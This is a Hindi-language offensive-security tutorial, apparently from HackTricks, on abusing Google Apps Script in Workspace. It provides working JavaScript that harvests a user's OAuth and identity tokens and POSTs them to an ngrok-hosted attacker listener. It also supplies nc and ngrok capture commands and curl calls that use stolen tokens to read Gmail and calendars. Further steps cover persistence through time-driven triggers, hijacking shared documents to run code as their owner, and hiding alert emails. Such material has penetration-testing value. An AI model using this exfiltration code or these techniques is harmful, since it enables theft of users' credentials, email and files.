GWS - App Scripts

हैकट्रिक्स का समर्थन करें

ऐप स्क्रिप्ट्स

ऐप स्क्रिप्ट्स उस कोड को दर्ज करते हैं जो एक उपयोगकर्ता द्वारा ट्रिगर किया जाएगा जब एप्लिकेशन स्क्रिप्ट से जुड़ा दस्तावेज़ एक्सेस करता है और OAuth प्रॉम्प्ट स्वीकार करने के बाद। इन्हें भी मालिक के द्वारा निर्धारित समय के बाद हर निश्चित समय पर क्रियान्वित किया जा सकता है (स्थिरता)।

ऐप स्क्रिप्ट बनाएं

एक ऐप स्क्रिप्ट बनाने के कई तरीके हैं, हालांकि सबसे सामान्य तरीके हैं किसी गूगल दस्तावेज़ (किसी भी प्रकार के) से और एक स्वतंत्र परियोजना के रूप में:

गूगल डॉक्स, शीट्स, या स्लाइड्स से एक कंटेनर-बाउंड परियोजना बनाएं
  1. एक डॉक्स दस्तावेज़, एक शीट्स स्प्रेडशीट, या स्लाइड्स प्रस्तुति खोलें।

  2. एक्सटेंशन्स > गूगल ऐप्स स्क्रिप्ट पर क्लिक करें।

  3. स्क्रिप्ट संपादक में, अनटाइटल्ड परियोजना पर क्लिक करें।

  4. अपने परियोजना को एक नाम दें और रीनेम पर क्लिक करें।

एक स्वतंत्र परियोजना बनाएं

ऐप स्क्रिप्ट से एक स्वतंत्र परियोजना बनाने के लिए:

  1. script.google.com पर जाएं।

  2. नया परियोजना पर क्लिक करें।

  3. स्क्रिप्ट संपादक में, अनटाइटल्ड परियोजना पर क्लिक करें।

  4. अपने परियोजना को एक नाम दें और रीनेम पर क्लिक करें।

गूगल ड्राइव से एक स्वतंत्र परियोजना बनाएं
  1. Google Drive खोलें।

  2. नया > अधिक > गूगल ऐप्स स्क्रिप्ट पर क्लिक करें।

गूगल फॉर्म्स से एक कंटेनर-बाउंड परियोजना बनाएं
  1. Google Forms में एक फॉर्म खोलें।

  2. अधिक more_vert > स्क्रिप्ट संपादक पर क्लिक करें।

  3. स्क्रिप्ट संपादक में, अनटाइटल्ड परियोजना पर क्लिक करें।

  4. अपने परियोजना को एक नाम दें और रीनेम पर क्लिक करें।

clasp कमांड लाइन टूल का उपयोग करके एक स्वतंत्र परियोजना बनाएं

clasp एक कमांड लाइन टूल है जो आपको टर्मिनल से Apps Script परियोजनाएँ बनाने, पुल/पुश करने, और डिप्लॉय करने की अनुमति देता है।

अधिक विवरण के लिए Command Line Interface using clasp guide देखें।

ऐप स्क्रिप्ट स्थिति

ऐप स्क्रिप्ट के साथ गूगल शीट बनाएं

एक ऐप स्क्रिप्ट बनाने की शुरुआत करें, इस स्थिति के लिए मेरी सिफारिश है कि आप एक गूगल शीट बनाएं और जाएं Extensions > App Scripts, यह आपके लिए एक नए ऐप स्क्रिप्ट खोलेगा जो शीट से जुड़ा होगा

टोकन लीक

OAuth टोकन तक पहुंचने के लिए आपको सेवाएं + पर क्लिक करें और जैसे ही जोड़ें स्कोप्स जैसे:

  • AdminDirectory: डायरेक्टरी के उपयोगकर्ताओं और समूहों तक पहुंच (यदि उपयोगकर्ता के पास पर्याप्त अनुमति है)

  • Gmail: जीमेल डेटा तक पहुंचने के लिए

  • Drive: ड्राइव डेटा तक पहुंचने के लिए

  • Google Sheets API: ताकि ट्रिगर के साथ काम करे

आवश्यक स्कोप्स को आवश्यक स्कोप्स खुद बदलने के लिए आप परियोजना सेटिंग्स में जा सकते हैं और सक्षम कर सकते हैं: संपादक में "appsscript.json" मैनिफेस्ट फ़ाइल दिखाएं

function getToken() {
var userEmail = Session.getActiveUser().getEmail();
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1);
var oauthToken = ScriptApp.getOAuthToken();
var identityToken = ScriptApp.getIdentityToken();

// Data json
data = {
"oauthToken": oauthToken,
"identityToken": identityToken,
"email": userEmail,
"domain": domain
}

// Send data
makePostRequest(data);

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = "";
page = AdminDirectory.Users.list({
domain: domain,  // Use the extracted domain
orderBy: 'givenName',
maxResults: 100,
pageToken: pageToken
});

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10);

// To ask for drive permissions
var files = DriveApp.getFiles();
}


function makePostRequest(data) {
var url = 'http://5.tcp.eu.ngrok.io:12027';

var options = {
'method' : 'post',
'contentType': 'application/json',
'payload' : JSON.stringify(data)
};

try {
UrlFetchApp.fetch(url, options);
} catch (e) {
Logger.log("Error making POST request: " + e.toString());
}
}

अनुरोध को कैप्चर करने के लिए आप बस यह रन कर सकते ह।

ngrok tcp 4444
nc -lv 4444 #macOS

Permissions requested to execute the App Script:

एक बाह्य अनुरोध के साथ OAuth प्रॉम्प्ट भी बाह्य एंडपॉइंट तक पहुंचने की अनुमति के लिए पूछेगा।

ट्रिगर बनाएं

एप्लिकेशन को पढ़ने के बाद, ⏰ ट्रिगर्स पर क्लिक करें एक ट्रिगर बनाने के लिए। टोकन के रूप में getToken चुनें, डिप्लॉयमेंट में हेड को चुनें, इवेंट स्रोत में स्प्रेडशीट से और इवेंट प्रकार में ओपन या एडिट (आपकी आवश्यकता के अनुसार) चुनें और सेव करें।

ध्यान दें कि आप एप्लिकेशन स्क्रिप्ट के रन्स को एक्जीक्यूशन्स टैब में जांच सकते हैं अगर आप कुछ डीबग करना चाहते हैं।

साझा करना

एप्लिकेशन स्क्रिप्ट को ट्रिगर करने के लिए पीड़ित को संपादक एक्सेस के साथ कनेक्ट करने की आवश्यकता है।

एप्लिकेशन स्क्रिप्ट को एक्जीक्यूट करने के लिए उपयोग किया जाने वाला टोकन ट्रिगर के निर्माता का होगा, चाहे फाइल अन्य उपयोगकर्ताओं द्वारा संपादक के रूप में खोली गई हो।

Shared With Me दस्तावेजों का दुरुपयोग

अगर कोई व्यक्ति आपके साथ एक दस्तावेज़ साझा करता है जिसमें एप्लिकेशन स्क्रिप्ट और एक ट्रिगर है जो एप्लिकेशन स्क्रिप्ट के हेड का उपयोग करता है (निर्धारित डिप्लॉयमेंट नहीं), तो आप एप्लिकेशन स्क्रिप्ट को संशोधित कर सकते हैं (उदाहरण के लिए चोरी टोकन फंक्शन जोड़ना), इसे एक्सेस कर सकते हैं, और एप्लिकेशन स्क्रिप्ट को उस उपयोगकर्ता की अनुमतियों के साथ एक्जीक्यूट किया जाएगा जिसने आपके साथ दस्तावेज़ साझा किया है! (ध्यान दें कि मालिक का OAuth टोकन जब ट्रिगर बनाया गया था तो उसके एक्सेस स्कोप्स होंगे जो दिए गए थे)।

स्क्रिप्ट के निर्माता को एक सूचना भेजी जाएगी जिसमें इस बात की सूचना दी जाएगी कि किसी ने स्क्रिप्ट को संशोधित किया है (एलर्ट को रोकने के लिए जीमेल अनुमतियों का उपयोग करने के लिए एक फिल्टर उत्पन्न करने के बारे में क्या सोचते हैं?)

अगर कोई हमलावर एप्लिकेशन स्क्रिप्ट के स्कोप्स को संशोधित करता है तो अपडेट लागू नहीं होंगे दस्तावेज़ पर जब तक एक नया ट्रिगर जिसमें परिवर्तन किए गए हों, नहीं बनाया जाता। इसलिए, एक हमलावर मालिक का टोकन चोरी नहीं कर सकेगा जिसमें उसने उस ट्रिगर में सेट किए गए स्कोप्स से अधिक स्कोप्स के साथ।

साझा करने की बजाय कॉपी करना

जब आप एक दस्तावेज़ को साझा करने के लिए एक लिंक बनाते हैं तो एक लिंक जैसा यह बनाया जाता है: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit अगर आप अंत "/edit" को "/copy" में बदलते हैं, तो गूगल आपसे पूछेगा कि क्या आप दस्तावेज़ की कॉपी उत्पन्न करना चाहते हैं:

अगर उपयोगकर्ता इसे कॉपी करता है और इसे एक्सेस करता है तो दस्तावेज़ की सामग्री और एप्लिकेशन स्क्रिप्ट की कॉपी हो जाएगी, हालांकि ट्रिगर नहीं होंगे, इसलिए कुछ भी नहीं चलाया जाएगा

वेब एप्लिकेशन के रूप में साझा करना

ध्यान दें कि एक एप्लिकेशन स्क्रिप्ट को एक वेब एप्लिकेशन के रूप में भी साझा किया जा सकता है (एप्लिकेशन स्क्रिप्ट के संपादक में, एक वेब एप्लिकेशन के रूप में डिप्लॉय करें), लेकिन एक चेतावनी जैसी यह दिखाई देगी:

जिसके बाद आवश्यक अनुमतियों के लिए पूछने वाला एक प्रमुख OAuth प्रॉम्प्ट आएगा।

परीक्षण

आप ईमेल सूची बनाने के लिए एक एकत्रित टोकन का परीक्षण कर सकते हैं:

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

उपयोगकर्ता का कैलेंडर सूची:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

App Script के रूप में Persistence

स्थिरता के लिए एक विकल्प यह हो सकता है कि एक दस्तावेज़ बनाएं और getToken के लिए एक ट्रिगर जोड़ें और दस्तावेज़ को हमलावर के साथ साझा करें ताकि हर बार जब हमलावर फ़ाइल खोलता है तो वह विक्टिम का टोकन निकाल लेता है।

एक App Script बनाना और इसे हर X समय (जैसे हर मिनट, घंटा, दिन...) के लिए ट्रिगर करना भी संभव है। जो एक हमलावर है जिसके पास क्रेडेंशियल्स या एक विक्टिम के सत्र को कंप्रोमाइज़ कर लिया है वह एक App Script समय ट्रिगर सेट कर सकता है और हर दिन एक बहुत विशेषज्ञ OAuth टोकन लीक कर सकता है:

एक App Script बनाएं, Triggers पर जाएं, Add Trigger पर क्लिक करें, और event source के रूप में Time-driven चुनें और उन विकल्पों को चुनें जो आपको अच्छे से अनुकूल हैं:

इससे एक सुरक्षा चेतावनी ईमेल और एक पुश संदेश आपके मोबाइल पर इसके बारे में सूचित करेगा।

साझा दस्तावेज़ अनसत्य प्रॉम्प्ट बायपास

इसके अतिरिक्त, यदि कोई आपके साथ एक दस्तावेज़ साझा करता है जिसमें संपादक एक्सेस है, तो आप दस्तावेज़ के अंदर App Scripts उत्पन्न कर सकते हैं और दस्तावेज़ का मालिक (निर्माता) App Script का मालिक होगा

इसका मतलब है, कि दस्तावेज़ के निर्माता कोई भी App Script के निर्माता के रूप में प्रकट होगा जो भी उसके अंदर बनाता है संपादक एक्सेस के साथ।

इसका यह भी मतलब है कि App Script को Workspace परिवेश द्वारा विश्वसनीय माना जाएगा जिसके द्वारा दस्तावेज़ का निर्माता है।

इसका यह भी मतलब है कि यदि पहले से ही एक App Script मौजूद है और लोगों ने एक्सेस दिया है, तो जो भी डॉक पर संपादक अनुमति वाला है वह इसे संशोधित कर सकता है और उस एक्सेस का दुरुपयोग कर सकता है। इसका दुरुपयोग करने के लिए आपको लोगों को App Script को ट्रिगर करने की आवश्यकता है। और एक शानदार ट्रिक यह है कि स्क्रिप्ट को एक वेब ऐप के रूप में प्रकाशित करें। जब लोग जो पहले से ही एक्सेस दे चुके हैं वे वेब पेज तक पहुंचते हैं, तो वे App Script को ट्रिगर करेंगे (यह <img> टैग का उपयोग करके भी काम करता है)।

हैकट्रिक्स का समर्थन करें

Last updated